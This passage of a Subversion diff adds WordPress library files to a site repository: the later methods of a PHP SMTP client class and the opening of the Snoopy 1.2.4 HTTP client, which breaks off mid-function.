+      if($line == "" && $in_headers) {
+        $in_headers = false;
+      }
+      # ok we need to break this line up into several
+      # smaller lines
+      while(strlen($line) > $max_line_length) {
+        $pos = strrpos(substr($line,0,$max_line_length)," ");
+
+        # Patch to fix DOS attack
+        if(!$pos) {
+          $pos = $max_line_length - 1;
+        }
+
+        $lines_out[] = substr($line,0,$pos);
+        $line = substr($line,$pos + 1);
+        # if we are processing headers we need to
+        # add a LWSP-char to the front of the new line
+        # rfc 822 on long msg headers
+        if($in_headers) {
+          $line = "\t" . $line;
+        }
+      }
+      $lines_out[] = $line;
+
+      # now send the lines to the server
+      while(list(,$line_out) = @each($lines_out)) {
+        if(strlen($line_out) > 0)
+        {
+          if(substr($line_out, 0, 1) == ".") {
+            $line_out = "." . $line_out;
+          }
+        }
+        fputs($this->smtp_conn,$line_out . $this->CRLF);
+      }
+    }
+
+    # ok all the message data has been sent so lets get this
+    # over with aleady
+    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "DATA not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * Expand takes the name and asks the server to list all the
+   * people who are members of the _list_. Expand will return
+   * back and array of the result or false if an error occurs.
+   * Each value in the array returned has the format of:
+   *     [ <full-name> <sp> ] <path>
+   * The definition of <path> is defined in rfc 821
+   *
+   * Implements rfc 821: EXPN <SP> <string> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE FAILURE: 550
+   * SMTP CODE ERROR  : 500,501,502,504,421
+   * @access public
+   * @return string array
+   */
+  function Expand($name) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+            "error" => "Called Expand() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "EXPN not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    # parse the reply and place in our array to return to user
+    $entries = explode($this->CRLF,$rply);
+    while(list(,$l) = @each($entries)) {
+      $list[] = substr($l,4);
+    }
+
+    return $list;
+  }
+
+  /**
+   * Sends the HELO command to the smtp server.
+   * This makes sure that we and the server are in
+   * the same known state.
+   *
+   * Implements from rfc 821: HELO <SP> <domain> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE ERROR  : 500, 501, 504, 421
+   * @access public
+   * @return bool
+   */
+  function Hello($host="") {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+            "error" => "Called Hello() without being connected");
+      return false;
+    }
+
+    # if a hostname for the HELO was not specified determine
+    # a suitable one to send
+    if(empty($host)) {
+      # we need to determine some sort of appopiate default
+      # to send to the server
+      $host = "localhost";
+    }
+
+    // Send extended hello first (RFC 2821)
+    if(!$this->SendHello("EHLO", $host))
+    {
+      if(!$this->SendHello("HELO", $host))
+          return false;
+    }
+
+    return true;
+  }
+
+  /**
+   * Sends a HELO/EHLO command.
+   * @access private
+   * @return bool
+   */
+  function SendHello($hello, $host) {
+    fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => $hello . " not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    $this->helo_rply = $rply;
+
+    return true;
+  }
+
+  /**
+   * Gets help information on the keyword specified. If the keyword
+   * is not specified then returns generic help, ussually contianing
+   * A list of keywords that help is available on. This function
+   * returns the results back to the user. It is up to the user to
+   * handle the returned data. If an error occurs then false is
+   * returned with $this->error set appropiately.
+   *
+   * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
+   *
+   * SMTP CODE SUCCESS: 211,214
+   * SMTP CODE ERROR  : 500,501,502,504,421
+   * @access public
+   * @return string
+   */
+  function Help($keyword="") {
+    $this->error = null; # to avoid confusion
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Help() without being connected");
+      return false;
+    }
+
+    $extra = "";
+    if(!empty($keyword)) {
+      $extra = " " . $keyword;
+    }
+
+    fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 211 && $code != 214) {
+      $this->error =
+        array("error" => "HELP not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    return $rply;
+  }
+
+  /**
+   * Starts a mail transaction from the email address specified in
+   * $from. Returns true if successful or false otherwise. If True
+   * the mail transaction is started and then one or more Recipient
+   * commands may be called followed by a Data command.
+   *
+   * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE SUCCESS: 552,451,452
+   * SMTP CODE SUCCESS: 500,501,421
+   * @access public
+   * @return bool
+   */
+  function Mail($from) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Mail() without being connected");
+      return false;
+    }
+
+    $useVerp = ($this->do_verp ? "XVERP" : "");
+    fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "MAIL not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * Sends the command NOOP to the SMTP server.
+   *
+   * Implements from rfc 821: NOOP <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE ERROR  : 500, 421
+   * @access public
+   * @return bool
+   */
+  function Noop() {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Noop() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"NOOP" . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "NOOP not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * Sends the quit command to the server and then closes the socket
+   * if there is no error or the $close_on_error argument is true.
+   *
+   * Implements from rfc 821: QUIT <CRLF>
+   *
+   * SMTP CODE SUCCESS: 221
+   * SMTP CODE ERROR  : 500
+   * @access public
+   * @return bool
+   */
+  function Quit($close_on_error=true) {
+    $this->error = null; # so there is no confusion
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Quit() without being connected");
+      return false;
+    }
+
+    # send the quit command to the server
+    fputs($this->smtp_conn,"quit" . $this->CRLF);
+
+    # get any good-bye messages
+    $byemsg = $this->get_lines();
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
+    }
+
+    $rval = true;
+    $e = null;
+
+    $code = substr($byemsg,0,3);
+    if($code != 221) {
+      # use e as a tmp var cause Close will overwrite $this->error
+      $e = array("error" => "SMTP server rejected quit command",
+                 "smtp_code" => $code,
+                 "smtp_rply" => substr($byemsg,4));
+      $rval = false;
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $e["error"] . ": " .
+                 $byemsg . $this->CRLF;
+      }
+    }
+
+    if(empty($e) || $close_on_error) {
+      $this->Close();
+    }
+
+    return $rval;
+  }
+
+  /**
+   * Sends the command RCPT to the SMTP server with the TO: argument of $to.
+   * Returns true if the recipient was accepted false if it was rejected.
+   *
+   * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250,251
+   * SMTP CODE FAILURE: 550,551,552,553,450,451,452
+   * SMTP CODE ERROR  : 500,501,503,421
+   * @access public
+   * @return bool
+   */
+  function Recipient($to) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Recipient() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250 && $code != 251) {
+      $this->error =
+        array("error" => "RCPT not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * Sends the RSET command to abort and transaction that is
+   * currently in progress. Returns true if successful false
+   * otherwise.
+   *
+   * Implements rfc 821: RSET <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE ERROR  : 500,501,504,421
+   * @access public
+   * @return bool
+   */
+  function Reset() {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Reset() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"RSET" . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "RSET failed",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    return true;
+  }
+
+  /**
+   * Starts a mail transaction from the email address specified in
+   * $from. Returns true if successful or false otherwise. If True
+   * the mail transaction is started and then one or more Recipient
+   * commands may be called followed by a Data command. This command
+   * will send the message to the users terminal if they are logged
+   * in.
+   *
+   * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE SUCCESS: 552,451,452
+   * SMTP CODE SUCCESS: 500,501,502,421
+   * @access public
+   * @return bool
+   */
+  function Send($from) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Send() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "SEND not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * Starts a mail transaction from the email address specified in
+   * $from. Returns true if successful or false otherwise. If True
+   * the mail transaction is started and then one or more Recipient
+   * commands may be called followed by a Data command. This command
+   * will send the message to the users terminal if they are logged
+   * in and send them an email.
+   *
+   * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE SUCCESS: 552,451,452
+   * SMTP CODE SUCCESS: 500,501,502,421
+   * @access public
+   * @return bool
+   */
+  function SendAndMail($from) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+          "error" => "Called SendAndMail() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "SAML not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * Starts a mail transaction from the email address specified in
+   * $from. Returns true if successful or false otherwise. If True
+   * the mail transaction is started and then one or more Recipient
+   * commands may be called followed by a Data command. This command
+   * will send the message to the users terminal if they are logged
+   * in or mail it to them if they are not.
+   *
+   * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE SUCCESS: 552,451,452
+   * SMTP CODE SUCCESS: 500,501,502,421
+   * @access public
+   * @return bool
+   */
+  function SendOrMail($from) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+          "error" => "Called SendOrMail() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250) {
+      $this->error =
+        array("error" => "SOML not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * This is an optional command for SMTP that this class does not
+   * support. This method is here to make the RFC821 Definition
+   * complete for this class and __may__ be implimented in the future
+   *
+   * Implements from rfc 821: TURN <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250
+   * SMTP CODE FAILURE: 502
+   * SMTP CODE ERROR  : 500, 503
+   * @access public
+   * @return bool
+   */
+  function Turn() {
+    $this->error = array("error" => "This method, TURN, of the SMTP ".
+                                    "is not implemented");
+    if($this->do_debug >= 1) {
+      echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
+    }
+    return false;
+  }
+
+  /**
+   * Verifies that the name is recognized by the server.
+   * Returns false if the name could not be verified otherwise
+   * the response from the server is returned.
+   *
+   * Implements rfc 821: VRFY <SP> <string> <CRLF>
+   *
+   * SMTP CODE SUCCESS: 250,251
+   * SMTP CODE FAILURE: 550,551,553
+   * SMTP CODE ERROR  : 500,501,502,421
+   * @access public
+   * @return int
+   */
+  function Verify($name) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Verify() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 250 && $code != 251) {
+      $this->error =
+        array("error" => "VRFY failed on name '$name'",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+    return $rply;
+  }
+
+  /*******************************************************************
+   *                       INTERNAL FUNCTIONS                       *
+   ******************************************************************/
+
+  /**
+   * Read in as many lines as possible
+   * either before eof or socket timeout occurs on the operation.
+   * With SMTP we can tell if we have more lines to read if the
+   * 4th character is '-' symbol. If it is a space then we don't
+   * need to read anything else.
+   * @access private
+   * @return string
+   */
+  function get_lines() {
+    $data = "";
+    while($str = @fgets($this->smtp_conn,515)) {
+      if($this->do_debug >= 4) {
+        echo "SMTP -> get_lines(): \$data was \"$data\"" .
+                 $this->CRLF;
+        echo "SMTP -> get_lines(): \$str is \"$str\"" .
+                 $this->CRLF;
+      }
+      $data .= $str;
+      if($this->do_debug >= 4) {
+        echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
+      }
+      # if the 4th character is a space then we are done reading
+      # so just break the loop
+      if(substr($str,3,1) == " ") { break; }
+    }
+    return $data;
+  }
+
+}
+
+
+ ?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class-snoopy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-snoopy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-snoopy.php	(revision 44)
@@ -0,0 +1,1250 @@
+<?php
+if ( !in_array('Snoopy', get_declared_classes() ) ) :
+/*************************************************
+
+Snoopy - the PHP net client
+Author: Monte Ohrt <monte@ispi.net>
+Copyright (c): 1999-2008 New Digital Group, all rights reserved
+Version: 1.2.4
+
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+You may contact the author of Snoopy by e-mail at:
+monte@ohrt.com
+
+The latest version of Snoopy can be obtained from:
+http://snoopy.sourceforge.net/
+
+*************************************************/
+
+class Snoopy
+{
+	/**** Public variables ****/
+
+	/* user definable vars */
+
+	var $host			=	"www.php.net";		// host name we are connecting to
+	var $port			=	80;					// port we are connecting to
+	var $proxy_host		=	"";					// proxy host to use
+	var $proxy_port		=	"";					// proxy port to use
+	var $proxy_user		=	"";					// proxy user to use
+	var $proxy_pass		=	"";					// proxy password to use
+
+	var $agent			=	"Snoopy v1.2.4";	// agent we masquerade as
+	var	$referer		=	"";					// referer info to pass
+	var $cookies		=	array();			// array of cookies to pass
+												// $cookies["username"]="joe";
+	var	$rawheaders		=	array();			// array of raw headers to send
+												// $rawheaders["Content-type"]="text/html";
+
+	var $maxredirs		=	5;					// http redirection depth maximum. 0 = disallow
+	var $lastredirectaddr	=	"";				// contains address of last redirected address
+	var	$offsiteok		=	true;				// allows redirection off-site
+	var $maxframes		=	0;					// frame content depth maximum. 0 = disallow
+	var $expandlinks	=	true;				// expand links to fully qualified URLs.
+												// this only applies to fetchlinks()
+												// submitlinks(), and submittext()
+	var $passcookies	=	true;				// pass set cookies back through redirects
+												// NOTE: this currently does not respect
+												// dates, domains or paths.
+
+	var	$user			=	"";					// user for http authentication
+	var	$pass			=	"";					// password for http authentication
+
+	// http accept types
+	var $accept			=	"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
+
+	var $results		=	"";					// where the content is put
+
+	var $error			=	"";					// error messages sent here
+	var	$response_code	=	"";					// response code returned from server
+	var	$headers		=	array();			// headers returned from server sent here
+	var	$maxlength		=	500000;				// max return data length (body)
+	var $read_timeout	=	0;					// timeout on read operations, in seconds
+												// supported only since PHP 4 Beta 4
+												// set to 0 to disallow timeouts
+	var $timed_out		=	false;				// if a read operation timed out
+	var	$status			=	0;					// http request status
+
+	var $temp_dir		=	"/tmp";				// temporary directory that the webserver
+												// has permission to write to.
+												// under Windows, this should be C:\temp
+
+	var	$curl_path		=	"/usr/local/bin/curl";
+												// Snoopy will use cURL for fetching
+												// SSL content if a full system path to
+												// the cURL binary is supplied here.
+												// set to false if you do not have
+												// cURL installed. See http://curl.haxx.se
+												// for details on installing cURL.
+												// Snoopy does *not* use the cURL
+												// library functions built into php,
+												// as these functions are not stable
+												// as of this Snoopy release.
+
+	/**** Private variables ****/
+
+	var	$_maxlinelen	=	4096;				// max line length (headers)
+
+	var $_httpmethod	=	"GET";				// default http request method
+	var $_httpversion	=	"HTTP/1.0";			// default http request version
+	var $_submit_method	=	"POST";				// default submit method
+	var $_submit_type	=	"application/x-www-form-urlencoded";	// default submit type
+	var $_mime_boundary	=   "";					// MIME boundary for multipart/form-data submit type
+	var $_redirectaddr	=	false;				// will be set if page fetched is a redirect
+	var $_redirectdepth	=	0;					// increments on an http redirect
+	var $_frameurls		= 	array();			// frame src urls
+	var $_framedepth	=	0;					// increments on frame depth
+
+	var $_isproxy		=	false;				// set if using a proxy server
+	var $_fp_timeout	=	30;					// timeout for socket connection
+
+/*======================================================================*\
+	Function:	fetch
+	Purpose:	fetch the contents of a web page
+				(and possibly other protocols in the
+				future like ftp, nntp, gopher, etc.)
+	Input:		$URI	the location of the page to fetch
+	Output:		$this->results	the output text from the fetch
+\*======================================================================*/
+
+	function fetch($URI)
+	{
+
+		//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_httpmethod);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_httpmethod);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								$this->fetch($this->_redirectaddr);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI,$URI,$this->_httpmethod);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_httpmethod);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						// only follow redirect if it's on this site, or offsiteok is true
+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
+							$this->lastredirectaddr=$this->_redirectaddr;
+							$this->fetch($this->_redirectaddr);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	submit
+	Purpose:	submit an http form
+	Input:		$URI	the location to post the data
+				$formvars	the formvars to use.
+					format: $formvars["var"] = "val";
+				$formfiles  an array of files to submit
+					format: $formfiles["var"] = "/dir/filename.ext";
+	Output:		$this->results	the text output from the post
+\*======================================================================*/
+
+	function submit($URI, $formvars="", $formfiles="")
+	{
+		unset($postdata);
+
+		$postdata = $this->_prepare_post_body($formvars, $formfiles);
+
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+								$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								if( strpos( $this->_redirectaddr, "?" ) > 0 )
+									$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+								else
+									$this->submit($this->_redirectaddr,$formvars, $formfiles);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+							$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+						// only follow redirect if it's on this site, or offsiteok is true
